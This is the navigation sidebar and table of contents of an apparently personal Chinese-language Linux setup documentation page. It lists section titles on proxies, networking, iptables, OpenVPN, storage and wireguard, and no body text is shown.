 \n\n    \n      \n      \n      \n\n  \n  \n  \n    \n    <li class=\"md-nav__item md-nav__item--nested\">\n      \n      \n      \n      \n      <input class=\"md-nav__toggle md-toggle \" type=\"checkbox\" id=\"__nav_5\" >\n      \n      \n      \n        <label class=\"md-nav__link\" for=\"__nav_5\" id=\"__nav_5_label\" tabindex=\"0\">\n          Development\n          <span class=\"md-nav__icon md-icon\"></span>\n        </label>\n      \n      <nav class=\"md-nav\" data-md-level=\"1\" aria-labelledby=\"__nav_5_label\" aria-expanded=\"false\">\n        <label class=\"md-nav__title\" for=\"__nav_5\">\n          <span class=\"md-nav__icon md-icon\"></span>\n          Development\n        </label>\n        <ul class=\"md-nav__list\" data-md-scrollfix>\n          \n            \n              \n  \n  \n  \n    <li class=\"md-nav__item\">\n      <a href=\"../Developer/\" class=\"md-nav__link\">\n        Developer\n      </a>\n    </li>\n  \n\n            \n          \n            \n              \n  \n  \n  \n    <li class=\"md-nav__item\">\n      <a href=\"../Docker/\" class=\"md-nav__link\">\n        Docker\n      </a>\n    </li>\n  \n\n            \n          \n            \n              \n  \n  \n  \n    <li class=\"md-nav__item\">\n      <a href=\"../ETH/\" class=\"md-nav__link\">\n        ETH\n      </a>\n    </li>\n  \n\n            \n          \n            \n              \n  \n  \n  \n    <li class=\"md-nav__item\">\n      <a href=\"../Git/\" class=\"md-nav__link\">\n        Git\n      </a>\n    </li>\n  \n\n            \n          \n            \n              \n  \n  \n  \n    <li class=\"md-nav__item\">\n      <a href=\"../Jekyll/\" class=\"md-nav__link\">\n        Jekyll\n      </a>\n    </li>\n  \n\n            \n          \n            \n              \n  \n  \n  \n    <li class=\"md-nav__item\">\n      <a href=\"../PaperReading/\" class=\"md-nav__link\">\n        Paper Reading\n      </a>\n    </li>\n  \n\n            \n          \n            \n              \n  \n  \n  \n    <li class=\"md-nav__item\">\n      <a href=\"../WindowsSoftware/\" class=\"md-nav__link\">\n        WindowsSoftware\n      </a>\n    </li>\n  \n\n            \n          \n        </ul>\n      </nav>\n    </li>\n  \n\n    \n      \n      \n      \n\n  \n  \n  \n    \n    <li class=\"md-nav__item md-nav__item--nested\">\n      \n      \n      \n      \n      <input class=\"md-nav__toggle md-toggle \" type=\"checkbox\" id=\"__nav_6\" >\n      \n      \n      \n        <label class=\"md-nav__link\" for=\"__nav_6\" id=\"__nav_6_label\" tabindex=\"0\">\n          Fuzzing\n          <span class=\"md-nav__icon md-icon\"></span>\n        </label>\n      \n      <nav class=\"md-nav\" data-md-level=\"1\" aria-labelledby=\"__nav_6_label\" aria-expanded=\"false\">\n        <label class=\"md-nav__title\" for=\"__nav_6\">\n          <span class=\"md-nav__icon md-icon\"></span>\n          Fuzzing\n        </label>\n        <ul class=\"md-nav__list\" data-md-scrollfix>\n          \n            \n              \n  \n  \n  \n    <li class=\"md-nav__item\">\n      <a href=\"../dfsan/\" class=\"md-nav__link\">\n        DFSan\n      </a>\n    </li>\n  \n\n            \n          \n        </ul>\n      </nav>\n    </li>\n  \n\n    \n      \n      \n      \n\n  \n  \n  \n    \n    <li class=\"md-nav__item md-nav__item--nested\">\n      \n      \n      \n      \n      <input class=\"md-nav__toggle md-toggle \" type=\"checkbox\" id=\"__nav_7\" >\n      \n      \n      \n        <label class=\"md-nav__link\" for=\"__nav_7\" id=\"__nav_7_label\" tabindex=\"0\">\n          Fun\n          <span class=\"md-nav__icon md-icon\"></span>\n        </label>\n      \n      <nav class=\"md-nav\" data-md-level=\"1\" aria-labelledby=\"__nav_7_label\" aria-expanded=\"false\">\n        <label class=\"md-nav__title\" for=\"__nav_7\">\n          <span class=\"md-nav__icon md-icon\"></span>\n          Fun\n        </label>\n        <ul class=\"md-nav__list\" data-md-scrollfix>\n          \n            \n              \n  \n  \n  \n    <li class=\"md-nav__item\">\n      <a href=\"../Bitcoin/\" class=\"md-nav__link\">\n        Bitcoin\n      </a>\n    </li>\n  \n\n            \n          \n        </ul>\n      </nav>\n    </li>\n  \n\n    \n      \n      \n      \n\n  \n  \n    \n  \n  \n    \n    <li class=\"md-nav__item md-nav__item--active md-nav__item--nested\">\n      \n      \n      \n      \n      <input class=\"md-nav__toggle md-toggle \" type=\"checkbox\" id=\"__nav_8\" checked>\n      \n      \n      \n        <label class=\"md-nav__link\" for=\"__nav_8\" id=\"__nav_8_label\" tabindex=\"0\">\n          Linux\n          <span class=\"md-nav__icon md-icon\"></span>\n        </label>\n      \n      <nav class=\"md-nav\" data-md-level=\"1\" aria-labelledby=\"__nav_8_label\" aria-expanded=\"true\">\n        <label class=\"md-nav__title\" for=\"__nav_8\">\n          <span class=\"md-nav__icon md-icon\"></span>\n          Linux\n        </label>\n        <ul class=\"md-nav__list\" data-md-scrollfix>\n          \n            \n              \n  \n  \n  \n    <li class=\"md-nav__item\">\n      <a href=\"../Linux-backup/\" class=\"md-nav__link\">\n        Linux-backup\n      </a>\n    </li>\n  \n\n            \n          \n            \n              \n  \n  \n    \n  \n  \n    <li class=\"md-nav__item md-nav__item--active\">\n      \n      <input class=\"md-nav__toggle md-toggle\" type=\"checkbox\" id=\"__toc\">\n      \n      \n        \n      \n      \n        <label class=\"md-nav__link md-nav__link--active\" for=\"__toc\">\n          Linux-setup\n          <span class=\"md-nav__icon md-icon\"></span>\n        </label>\n      \n      <a href=\"./\" class=\"md-nav__link md-nav__link--active\">\n        Linux-setup\n      </a>\n      \n        \n\n<nav class=\"md-nav md-nav--secondary\" aria-label=\"Table of contents\">\n  \n  \n  \n    \n  \n  \n    <label class=\"md-nav__title\" for=\"__toc\">\n      <span class=\"md-nav__icon md-icon\"></span>\n      Table of contents\n    </label>\n    <ul class=\"md-nav__list\" data-md-component=\"toc\" data-md-scrollfix>\n      \n        <li class=\"md-nav__item\">\n  <a href=\"#_1\" class=\"md-nav__link\">\n    如何翻墙\n  </a>\n  \n</li>\n      \n        <li class=\"md-nav__item\">\n  <a href=\"#shadowsocksprivoxyhttp-proxy\" class=\"md-nav__link\">\n    部署shadowsocks客户端，并部署Privoxy提供http proxy\n  </a>\n  \n</li>\n      \n        <li class=\"md-nav__item\">\n  <a href=\"#ip\" class=\"md-nav__link\">\n    配置有线静态IP\n  </a>\n  \n</li>\n      \n        <li class=\"md-nav__item\">\n  <a href=\"#dhcpiprtnetlink-answers-file-exists\" class=\"md-nav__link\">\n    配置为dhcp自动获取ip，解决RTNETLINK answers: File exists问题\n  </a>\n  \n</li>\n      \n        <li class=\"md-nav__item\">\n  <a href=\"#aptapt\" class=\"md-nav__link\">\n    配置apt源以加速国内环境下apt速度\n  </a>\n  \n</li>\n      \n        <li class=\"md-nav__item\">\n  <a href=\"#ip_1\" class=\"md-nav__link\">\n    单网卡获得多个IP\n  </a>\n  \n</li>\n      \n        <li class=\"md-nav__item\">\n  <a href=\"#apt\" class=\"md-nav__link\">\n    解决apt依赖问题\n  </a>\n  \n    <nav class=\"md-nav\" aria-label=\"解决apt依赖问题\">\n      <ul class=\"md-nav__list\">\n        \n          <li class=\"md-nav__item\">\n  <a href=\"#note\" class=\"md-nav__link\">\n    Note\n  </a>\n  \n</li>\n        \n      </ul>\n    </nav>\n  \n</li>\n      \n        <li class=\"md-nav__item\">\n  <a href=\"#unixbench\" class=\"md-nav__link\">\n    UnixBench\n  </a>\n  \n    <nav class=\"md-nav\" aria-label=\"UnixBench\">\n      <ul class=\"md-nav__list\">\n        \n          <li class=\"md-nav__item\">\n  <a href=\"#io\" class=\"md-nav__link\">\n    硬盘IO性能测试\n  </a>\n  \n</li>\n        \n      </ul>\n    </nav>\n  \n</li>\n      \n        <li class=\"md-nav__item\">\n  <a href=\"#_2\" class=\"md-nav__link\">\n    清除内存缓存\n  </a>\n  \n</li>\n      \n        <li class=\"md-nav__item\">\n  <a href=\"#iptablesip\" class=\"md-nav__link\">\n    使用iptables封ip\n  </a>\n  \n    <nav class=\"md-nav\" aria-label=\"使用iptables封ip\">\n      <ul class=\"md-nav__list\">\n        \n          <li class=\"md-nav__item\">\n  <a href=\"#ip_2\" class=\"md-nav__link\">\n    屏蔽单个IP\n  </a>\n  \n</li>\n        \n          <li class=\"md-nav__item\">\n  <a href=\"#c\" class=\"md-nav__link\">\n    封C段\n  </a>\n  \n</li>\n        \n          <li class=\"md-nav__item\">\n  <a href=\"#b\" class=\"md-nav__link\">\n    封B段\n  </a>\n  \n</li>\n        \n          <li class=\"md-nav__item\">\n  <a href=\"#a\" class=\"md-nav__link\">\n    封A段\n  </a>\n  \n</li>\n        \n      </ul>\n    </nav>\n  \n</li>\n      \n        <li class=\"md-nav__item\">\n  <a href=\"#_3\" class=\"md-nav__link\">\n    删除一条规则\n  </a>\n  \n</li>\n      \n        <li class=\"md-nav__item\">\n  <a href=\"#ip_3\" class=\"md-nav__link\">\n    只允许特定IP访问某端口\n  </a>\n  \n</li>\n      \n        <li class=\"md-nav__item\">\n  <a href=\"#rootscreen\" class=\"md-nav__link\">\n    无root权限使用screen\n  </a>\n  \n</li>\n      \n        <li class=\"md-nav__item\">\n  <a href=\"#screen\" class=\"md-nav__link\">\n    screen的用法\n  </a>\n  \n</li>\n      \n        <li class=\"md-nav__item\">\n  <a href=\"#_4\" class=\"md-nav__link\">\n    双网卡端口转发，暴露内网端口\n  </a>\n  \n    <nav class=\"md-nav\" aria-label=\"双网卡端口转发，暴露内网端口\">\n      <ul class=\"md-nav__list\">\n        \n          <li class=\"md-nav__item\">\n  <a href=\"#_5\" class=\"md-nav__link\">\n    环境：\n  </a>\n  \n</li>\n        \n          <li class=\"md-nav__item\">\n  <a href=\"#_6\" class=\"md-nav__link\">\n    实现方法：\n  </a>\n  \n</li>\n        \n          <li class=\"md-nav__item\">\n  <a href=\"#_7\" class=\"md-nav__link\">\n    取消转发方法\n  </a>\n  \n</li>\n        \n      </ul>\n    </nav>\n  \n</li>\n      \n        <li class=\"md-nav__item\">\n  <a href=\"#_8\" class=\"md-nav__link\">\n    保护重要系统文件防止被删\n  </a>\n  \n</li>\n      \n        <li class=\"md-nav__item\">\n  <a href=\"#cpu\" class=\"md-nav__link\">\n    查看CPU核心个数\n  </a>\n  \n</li>\n      \n        <li class=\"md-nav__item\">\n  <a href=\"#_9\" class=\"md-nav__link\">\n    非交互式添加用户\n  </a>\n  \n</li>\n      \n        <li class=\"md-nav__item\">\n  <a href=\"#openvpn\" class=\"md-nav__link\">\n    简单OpenVPN配置\n  </a>\n  \n    <nav class=\"md-nav\" aria-label=\"简单OpenVPN配置\">\n      <ul class=\"md-nav__list\">\n        \n          <li class=\"md-nav__item\">\n  <a href=\"#openvpn_1\" class=\"md-nav__link\">\n    安装openvpn:\n  </a>\n  \n</li>\n        \n          <li class=\"md-nav__item\">\n  <a href=\"#_10\" class=\"md-nav__link\">\n    生成密钥\n  </a>\n  \n</li>\n        \n          <li class=\"md-nav__item\">\n  <a href=\"#_11\" class=\"md-nav__link\">\n    服务端配置\n  </a>\n  \n</li>\n        \n          <li class=\"md-nav__item\">\n  <a href=\"#_12\" class=\"md-nav__link\">\n    客户端配置\n  </a>\n  \n</li>\n        \n          <li class=\"md-nav__item\">\n  <a href=\"#docker\" class=\"md-nav__link\">\n    在Docker中使用服务端\n  </a>\n  \n</li>\n        \n      </ul>\n    </nav>\n  \n</li>\n      \n        <li class=\"md-nav__item\">\n  <a href=\"#_13\" class=\"md-nav__link\">\n    时区时间设置\n  </a>\n  \n</li>\n      \n        <li class=\"md-nav__item\">\n  <a href=\"#ext4\" class=\"md-nav__link\">\n    快速地格式化大分区ext4\n  </a>\n  \n</li>\n      \n        <li class=\"md-nav__item\">\n  <a href=\"#ssd\" class=\"md-nav__link\">\n    优化本地ssd性能\n  </a>\n  \n    <nav class=\"md-nav\" aria-label=\"优化本地ssd性能\">\n      <ul class=\"md-nav__list\">\n        \n          <li class=\"md-nav__item\">\n  <a href=\"#readahead\" class=\"md-nav__link\">\n    调整 readahead 值\n  </a>\n  \n</li>\n        \n      </ul>\n    </nav>\n  \n</li>\n      \n        <li class=\"md-nav__item\">\n  <a href=\"#ca-mitmproxy\" class=\"md-nav__link\">\n    添加受信任的CA证书 mitmproxy\n  </a>\n  \n</li>\n      \n        <li class=\"md-nav__item\">\n  <a href=\"#inodebtrfs\" class=\"md-nav__link\">\n    明明还有大量空间却说没有？inode满了！挂载单个文件为btrfs分区\n  </a>\n  \n    <nav class=\"md-nav\" aria-label=\"明明还有大量空间却说没有？inode满了！挂载单个文件为btrfs分区\">\n      <ul class=\"md-nav__list\">\n        \n          <li class=\"md-nav__item\">\n  <a href=\"#_14\" class=\"md-nav__link\">\n    问题现象\n  </a>\n  \n</li>\n        \n          <li class=\"md-nav__item\">\n  <a href=\"#_15\" class=\"md-nav__link\">\n    解决方案\n  </a>\n  \n    <nav class=\"md-nav\" aria-label=\"解决方案\">\n      <ul class=\"md-nav__list\">\n        \n          <li class=\"md-nav__item\">\n  <a href=\"#1-inodes\" class=\"md-nav__link\">\n    1. 删文件 腾出部分inodes\n  </a>\n  \n</li>\n        \n          <li class=\"md-nav__item\">\n  <a href=\"#2-1tbsparse-file\" class=\"md-nav__link\">\n    2. 创建一个1TB的sparse file\n  </a>\n  \n</li>\n        \n          <li class=\"md-nav__item\">\n  <a href=\"#3\" class=\"md-nav__link\">\n    3. 创建磁盘分区\n  </a>\n  \n</li>\n        \n          <li class=\"md-nav__item\">\n  <a href=\"#4\" class=\"md-nav__link\">\n    4. 挂载分区\n  </a>\n  \n</li>\n        \n          <li class=\"md-nav__item\">\n  <a href=\"#5\" class=\"md-nav__link\">\n    5. 然后就可以搬运数据过去了\n  </a>\n  \n</li>\n        \n          <li class=\"md-nav__item\">\n  <a href=\"#_16\" class=\"md-nav__link\">\n    一些查看空间的命令\n  </a>\n  \n</li>\n        \n          <li class=\"md-nav__item\">\n  <a href=\"#6\" class=\"md-nav__link\">\n    6. 卸载设备\n  </a>\n  \n</li>\n        \n      </ul>\n    </nav>\n  \n</li>\n        \n      </ul>\n    </nav>\n  \n</li>\n      \n        <li class=\"md-nav__item\">\n  <a href=\"#btrfs\" class=\"md-nav__link\">\n    扩容上述单文件btrfs磁盘\n  </a>\n  \n</li>\n      \n        <li class=\"md-nav__item\">\n  <a href=\"#_17\" class=\"md-nav__link\">\n    安全地拔出移动硬盘\n  </a>\n  \n</li>\n      \n        <li class=\"md-nav__item\">\n  <a href=\"#iptables-127001\" class=\"md-nav__link\">\n    iptables 让监听在127.0.0.1上的端口可以公网访问\n  </a>\n  \n</li>\n      \n        <li class=\"md-nav__item\">\n  <a href=\"#vmware-lvm\" class=\"md-nav__link\">\n    VMWare扩容磁盘 LVM在线扩容\n  </a>\n  \n    <nav class=\"md-nav\" aria-label=\"VMWare扩容磁盘 LVM在线扩容\">\n      <ul class=\"md-nav__list\">\n        \n          <li class=\"md-nav__item\">\n  <a href=\"#vmware\" class=\"md-nav__link\">\n    VMWare新添加一块硬盘扩容根目录\n  </a>\n  \n</li>\n        \n      </ul>\n    </nav>\n  \n</li>\n      \n        <li class=\"md-nav__item\">\n  <a href=\"#vmdklvm\" class=\"md-nav__link\">\n    挂载多个vmdk中的LVM分区\n  </a>\n  \n</li>\n      \n        <li class=\"md-nav__item\">\n  <a href=\"#rclocal\" class=\"md-nav__link\">\n    启用rc.local\n  </a>\n  \n</li>\n      \n        <li class=\"md-nav__item\">\n  <a href=\"#apttranslation\" class=\"md-nav__link\">\n    apt禁用Translation\n  </a>\n  \n</li>\n      \n        <li class=\"md-nav__item\">\n  <a href=\"#wireguard\" class=\"md-nav__link\">\n    开机自启动wireguard\n  </a>\n  \n</li>\n      \n        <li class=\"md-nav__item\">\n  <a href=\"#do-release-upgrade\" class=\"md-nav__link\">\n    修复失败的do-release-upgrade\n  </a>\n  \n</li>\n      \n        <li class=\"md-nav__item\">\n  <a href=\"#wireguard_1\" class=\"md-nav__link\">\n    解决wireguard 内核模块编译失败\n  </a>\n  \n</li>\n      \n        <li class=\"md-nav__item\">\n  <a href=\"#luks\" class=\"md-nav__link\">\n    LUKS\n  </a>\n  \n    <nav class=\"md-nav\" aria-label=\"LUKS\">\n      <ul class=\"md-nav__list\">\n        \n          <li class=\"md-nav__item\">\n  <a href=\"#_18\" class=\"md-nav__link\">\n    验证密钥是否正确\n  </a>\n  \n</li>\n        \n      </ul>\n    </nav>\n  \n</li>\n      \n        <li class=\"md-nav__item\">\n  <a href=\"#ntp-http\" class=\"md-nav__link\">\n    ntp的替代 使用http更新时间\n  </a>\n  \n</li>\n      \n        <li class=\"md-nav__item\">\n  <a href=\"#rsync\" class=\"md-nav__link\">\n    使用rsync备份全盘\n  </a>\n  \n</li>\n      \n        <li class=\"md-nav__item\">\n  <a href=\"#_19\" class=\"md-nav__link\">\n    让特定进程走指定网卡\n  </a>\n  \n</li>\n      \n        <li class=\"md-nav__item\">\n  <a href=\"#zfs\" class=\"md-nav__link\">\n    配置高性能zfs\n  </a>\n  \n</li>\n      \n        <li class=\"md-nav__item\">\n  <a href=\"#zfs_1\" class=\"md-nav__link\">\n    zfs快照与恢复\n  </a>\n  \n</li>\n      \n        <li class=\"md-nav__item\">\n  <a href=\"#_20\" class=\"md-nav__link\">\n    硬盘测试\n  </a>\n  \n</li>\n      \n        <li class=\"md-nav__item\">\n  <a href=\"#etcfstab\" class=\"md-nav__link\">\n    验证/etc/fstab正确性\n  </a>\n  \n</li>\n      \n    </ul>\n  \n</nav>\n      \n    </li>\n  \n\n            \n          \n            \n              \n  \n  \n  \n    <li class=\"md-nav__item\">\n      <a href=\"../Linux-SSH/\" class=\"md-nav__link\">\n        Linux-SSH\n      </a>\n    </li>\n  \n\n            \n          \n            \n              \n  \n  \n  \n    <li class=\"md-nav__item\">\n      <a href=\"../Linux-cli/\" class=\"md-nav__link\">\n        Linux-cli\n      </a>\n    </li>\n  \n\n            \n          \n            \n              \n  \n  \n  \n    <li class=\"md-nav__item\">\n      <a href=\"../Linux-VirtualBox/\" class=\"md-nav__link\">\n        Linux-VirtualBox\n      </a>\n    </li>\n  \n\n            \n          \n            \n              \n  \n  \n  \n    <li class=\"md-nav__item\">\n      <a href=\"../Ubuntu/\" class=\"md-nav__link\">\n        Ubuntu\n      </a>\n    </li>\n  \n\n            \n          \n        </ul>\n      </nav>\n    </li>\n  \n\n    \n      \n      \n      \n\n  \n  \n  \n    \n    <li class=\"md-nav__item md-nav__item--nested\">\n      \n      \n      \n      \n      <input class=\"md-nav__toggle md-toggle \" type=\"checkbox\" id=\"__nav_9\" >\n      \n      \n      \n        <label class=\"md-nav__link\" for=\"__nav_9\" id=\"__nav_9_label\" tabindex=\"0\">\n          My Projects\n          <span class=\"md-nav__icon md-icon\"></span>\n        </label>\n      \n      <nav class=\"md-nav\" data-md-level=\"1\" aria-labelledby=\"__nav_9_label\" aria-expanded=\"false\">\n        <label class=\"md-nav__title\" for=\"__nav_9\">\n          <span class=\"md-nav__icon md-icon\"></span>\n          My Projects\n        </label>\n        <ul class=\"md-nav__list\" data-md-scrollfix>\n          \n            \n              \n  \n  \n  \n    <li class=\"md-nav__item\">\n      <a href=\"../zjugrshelper/\" class=\"md-nav__link\">\n        ZJU grs helper\n      </a>\n    </li>\n  \n\n            \n          \n            \n              \n  \n  \n  \n    <li class=\"md-nav__item\">\n      <a href=\"../ccfbadge/\" class=\"md-nav__link\">\n        CCF Badge\n      </a>\n    </li>\n  \n\n            \n          \n        </ul>\n      </nav>\n    </li>\n  \n\n    \n  </ul>\n</nav>\n                  </div>\n                </div>\n              </div>\n            \n            \n              \n              <div class=\"md-sidebar md-sidebar--secondary\" data-md-component=\"sidebar\" data-md-type=\"toc\" >\n                <div class=\"md-sidebar__scrollwrap\">\n                  <div class=\"md-sidebar__inner\">\n                    \n\n<nav class=\"md-nav md-nav--secondary\" aria-label=\"Table of contents\">\n  \n  \n  \n    \n  \n  \n    <label class=\"md-nav__title\" for=\"__toc\">\n      <span class=\"md-nav__icon md-icon\"></span>\n      Table of contents\n    </label>\n    <ul class=\"md-nav__list\" data-md-component=\"toc\" data-md-scrollfix>\n      \n        <li class=\"md-nav__item\">\n  <a href=\"#_1\" class=\"md-nav__link\">\n    如何翻墙\n  </a>\n  \n</li>\n      \n        <li class=\"md-nav__item\">\n  <a href=\"#shadowsocksprivoxyhttp-proxy\" class=\"md-nav__link\">\n    部署shadowsocks客户端，并部署Privoxy提供http proxy\n  </a>\n  \n</li>\n      \n        <li class=\"md-nav__item\">\n  <a href=\"#ip\" class=\"md-nav__link\">\n    配置有线静态IP\n  </a>\n  \n</li>\n      \n        <li class=\"md-nav__item\">\n  <a href=\"#dhcpiprtnetlink-answers-file-exists\" class=\"md-nav__link\">\n    配置为dhcp自动获取ip，解决RTNETLINK answers: File exists问题\n  </a>\n  \n</li>\n      \n        <li class=\"md-nav__item\">\n  <a href=\"#aptapt\" class=\"md-nav__link\">\n    配置apt源以加速国内环境下apt速度\n  </a>\n  \n</li>\n      \n        <li class=\"md-nav__item\">\n  <a href=\"#ip_1\" class=\"md-nav__link\">\n    单网卡获得多个IP\n  </a>\n  \n</li>\n      \n        <li class=\"md-nav__item\">\n  <a href=\"#apt\" class=\"md-nav__link\">\n    解决apt依赖问题\n  </a>\n  \n    <nav class=\"md-nav\" aria-label=\"解决apt依赖问题\">\n      <ul class=\"md-nav__list\">\n        \n          <li class=\"md-nav__item\">\n  <a href=\"#note\" class=\"md-nav__link\">\n    Note\n  </a>\n  \n</li>\n        \n      </ul>\n    </nav>\n  \n</li>\n      \n        <li class=\"md-nav__item\">\n  <a href=\"#unixbench\" class=\"md-nav__link\">\n    UnixBench\n  </a>\n  \n    <nav class=\"md-nav\" aria-label=\"UnixBench\">\n      <ul class=\"md-nav__list\">\n        \n          <li class=\"md-nav__item\">\n  <a href=\"#io\" class=\"md-nav__link\">\n    硬盘IO性能测试\n  </a>\n  \n</li>\n        \n      </ul>\n    </nav>\n  \n</li>\n      \n        <li class=\"md-nav__item\">\n  <a href=\"#_2\" class=\"md-nav__link\">\n    清除内存缓存\n  </a>\n  \n</li>\n      \n        <li class=\"md-nav__item\">\n  <a href=\"#iptablesip\" class=\"md-nav__link\">\n    使用iptables封ip\n  </a>\n  \n    <nav class=\"md-nav\" aria-label=\"使用iptables封ip\">\n      <ul class=\"md-nav__list\">\n        \n          <li class=\"md-nav__item\">\n  <a href=\"#ip_2\" class=\"md-nav__link\">\n    屏蔽单个IP\n  </a>\n  \n</li>\n        \n          <li class=\"md-nav__item\">\n  <a href=\"#c\" class=\"md-nav__link\">\n    封C段\n  </a>\n  \n</li>\n        \n          <li class=\"md-nav__item\">\n  <a href=\"#b\" class=\"md-nav__link\">\n    封B段\n  </a>\n  \n</li>\n        \n          <li class=\"md-nav__item\">\n  <a href=\"#a\" class=\"md-nav__link\">\n    封A段\n  </a>\n  \n</li>\n        \n      </ul>\n    </nav>\n  \n</li>\n      \n        <li class=\"md-nav__item\">\n  <a href=\"#_3\" class=\"md-nav__link\">\n    删除一条规则\n  </a>\n  \n</li>\n      \n        <li class=\"md-nav__item\">\n  <a href=\"#ip_3\" class=\"md-nav__link\">\n    只允许特定IP访问某端口\n  </a>\n  \n</li>\n      \n        <li class=\"md-nav__item\">\n  <a href=\"#rootscreen\" class=\"md-nav__link\">\n    无root权限使用screen\n  </a>\n  \n</li>\n      \n        <li class=\"md-nav__item\">\n  <a href=\"#screen\" class=\"md-nav__link\">\n    screen的用法\n  </a>\n  \n</li>\n      \n        <li class=\"md-nav__item\">\n  <a href=\"#_4\" class=\"md-nav__link\">\n    双网卡端口转发，暴露内网端口\n  </a>\n  \n    <nav class=\"md-nav\" aria-label=\"双网卡端口转发，暴露内网端口\">\n      <ul class=\"md-nav__list\">\n        \n          <li class=\"md-nav__item\">\n  <a href=\"#_5\" class=\"md-nav__link\">\n    环境：\n  </a>\n  \n</li>\n        \n          <li class=\"md-nav__item\">\n  <a href=\"#_6\" class=\"md-nav__link\">\n    实现方法：\n  </a>\n  \n</li>\n        \n          <li class=\"md-nav__item\">\n  <a href=\"#_7\" class=\"md-nav__link\">\n    取消转发方法\n  </a>\n  \n</li>\n        \n      </ul>\n    </nav>\n  \n</li>\n      \n        <li class=\"md-nav__item\">\n  <a href=\"#_8\" class=\"md-nav__link\">\n    保护重要系统文件防止被删\n  </a>\n  \n</li>\n      \n        <li class=\"md-nav__item\">\n  <a href=\"#cpu\" class=\"md-nav__link\">\n    查看CPU核心个数\n  </a>\n  \n</li>\n      \n        <li class=\"md-nav__item\">\n  <a href=\"#_9\" class=\"md-nav__link\">\n    非交互式添加用户\n  </a>\n  \n</li>\n      \n        <li class=\"md-nav__item\">\n  <a href=\"#openvpn\" class=\"md-nav__link\">\n    简单OpenVPN配置\n  </a>\n  \n    <nav class=\"md-nav\" aria-label=\"简单OpenVPN配置\">\n      <ul class=\"md-nav__list\">\n        \n          <li class=\"md-nav__item\">\n  <a href=\"#openvpn_1\" class=\"md-nav__link\">\n    安装openvpn:\n  </a>\n  \n</li>\n        \n          <li class=\"md-nav__item\">\n  <a href=\"#_10\" class=\"md-nav__link\">\n    生成密钥\n  </a>\n  \n</li>\n        \n          <li class=\"md-nav__item\">\n  <a href=\"#_11\" class=\"md-nav__link\">\n    服务端配置\n  </a>\n  \n</li>\n        \n          <li class=\"md-nav__item\">\n  <a href=\"#_12\" class=\"md-nav__link\">\n    客户端配置\n  </a>\n  \n</li>\n        \n          <li class=\"md-nav__item\">\n  <a href=\"#docker\" class=\"md-nav__link\">\n    在Docker中使用服务端\n  </a>\n  \n</li>\n        \n      </ul>\n    </nav>\n  \n</li>\n      \n        <li class=\"md-nav__item\">\n  <a href=\"#_13\" class=\"md-nav__link\">\n    时区时间设置\n  </a>\n  \n</li>\n      \n        <li class=\"md-nav__item\">\n  <a href=\"#ext4\" class=\"md-nav__link\">\n    快速地格式化大分区ext4\n  </a>\n  \n</li>\n      \n        <li class=\"md-nav__item\">\n  <a href=\"#ssd\" class=\"md-nav__link\">\n    优化本地ssd性能\n  </a>\n  \n    <nav class=\"md-nav\" aria-label=\"优化本地ssd性能\">\n      <ul class=\"md-nav__list\">\n        \n          <li class=\"md-nav__item\">\n  <a href=\"#readahead\" class=\"md-nav__link\">\n    调整 readahead 值\n  </a>\n  \n</li>\n        \n      </ul>\n    </nav>\n  \n</li>\n      \n        <li class=\"md-nav__item\">\n  <a href=\"#ca-mitmproxy\" class=\"md-nav__link\">\n    添加受信任的CA证书 mitmproxy\n  </a>\n  \n</li>\n      \n        <li class=\"md-nav__item\">\n  <a href=\"#inodebtrfs\" class=\"md-nav__link\">\n    明明还有大量空间却说没有？inode满了！挂载单个文件为btrfs分区\n  </a>\n  \n    <nav class=\"md-nav\" aria-label=\"明明还有大量空间却说没有？inode满了！挂载单个文件为btrfs分区\">\n      <ul class=\"md-nav__list\">\n        \n          <li class=\"md-nav__item\">\n  <a href=\"#_14\" class=\"md-nav__link\">\n    问题现象\n  </a>\n  \n</li>\n        \n          <li class=\"md-nav__item\">\n  <a href=\"#_15\" class=\"md-nav__link\">\n    解决方案\n  </a>\n  \n    <nav class=\"md-nav\" aria-label=\"解决方案\">\n      <ul class=\"md-nav__list\">\n        \n          <li class=\"md-nav__item\">\n  <a href=\"#1-inodes\" class=\"md-nav__link\">\n    1. 删文件 腾出部分inodes\n  </a>\n  \n</li>\n        \n          <li class=\"md-nav__item\">\n  <a href=\"#2-1tbsparse-file\" class=\"md-nav__link\">\n    2. 创建一个1TB的sparse file\n  </a>\n  \n</li>\n        \n          <li class=\"md-nav__item\">\n  <a href=\"#3\" class=\"md-nav__link\">\n    3. 创建磁盘分区\n  </a>\n  \n</li>\n        \n          <li class=\"md-nav__item\">\n  <a href=\"#4\" class=\"md-nav__link\">\n    4. 挂载分区\n  </a>\n  \n</li>\n        \n          <li class=\"md-nav__item\">\n  <a href=\"#5\" class=\"md-nav__link\">\n    5. 然后就可以搬运数据过去了\n  </a>\n  \n</li>\n        \n          <li class=\"md-nav__item\">\n  <a href=\"#_16\" class=\"md-nav__link\">\n    一些查看空间的命令\n  </a>\n  \n</li>\n        \n          <li class=\"md-nav__item\">\n  <a href=\"#6\" class=\"md-nav__link\">\n    6. 卸载设备\n  </a>\n  \n</li>\n        \n      </ul>\n    </nav>\n  \n</li>\n        \n      </ul>\n    </nav>\n  \n</li>\n      \n        <li class=\"md-nav__item\">\n  <a href=\"#btrfs\" class=\"md-nav__link\">\n    扩容上述单文件btrfs磁盘\n  </a>\n  \n</li>\n      \n        <li class=\"md-nav__item\">\n  <a href=\"#_17\" class=\"md-nav__link\">\n    安全地拔出移动硬盘\n  </a>\n  \n</li>\n      \n        <li class=\"md-nav__item\">\n  <a href=\"#iptables-127001\" class=\"md-nav__link\">\n    iptables 让监听在127.0.0.1上的端口可以公网访问\n  </a>\n  \n</li>\n      \n        <li class=\"md-nav__item\">\n  <a href=\"#vmware-lvm\" class=\"md-nav__link\">\n    VMWare扩容磁盘 LVM在线扩容\n  </a>\n  \n    <nav class=\"md-nav\" aria-label=\"VMWare扩容磁盘 LVM在线扩容\">\n      <ul class=\"md-nav__list\">\n        \n          <li class=\"md-nav__item\">\n  <a href=\"#vmware\" class=\"md-nav__link\">\n    VMWare新添加一块硬盘扩容根目录\n  </a>\n  \n</li>\n        \n      </ul>\n    </nav>\n  \n</li>\n      \n        <li class=\"md-nav__item\">\n  <a href=\"#vmdklvm\" class=\"md-nav__link\">\n    挂载多个vmdk中的LVM分区\n  </a>\n  \n</li>\n      \n        <li class=\"md-nav__item\">\n  <a href=\"#rclocal\" class=\"md-nav__link\">\n    启用rc.local\n  </a>\n  \n</li>\n      \n        <li class=\"md-nav__item\">\n  <a href=\"#apttranslation\" class=\"md-nav__link\">\n    apt禁用Translation\n  </a>\n  \n</li>\n      \n        <li class=\"md-nav__item\">\n  <a href=\"#wireguard\" 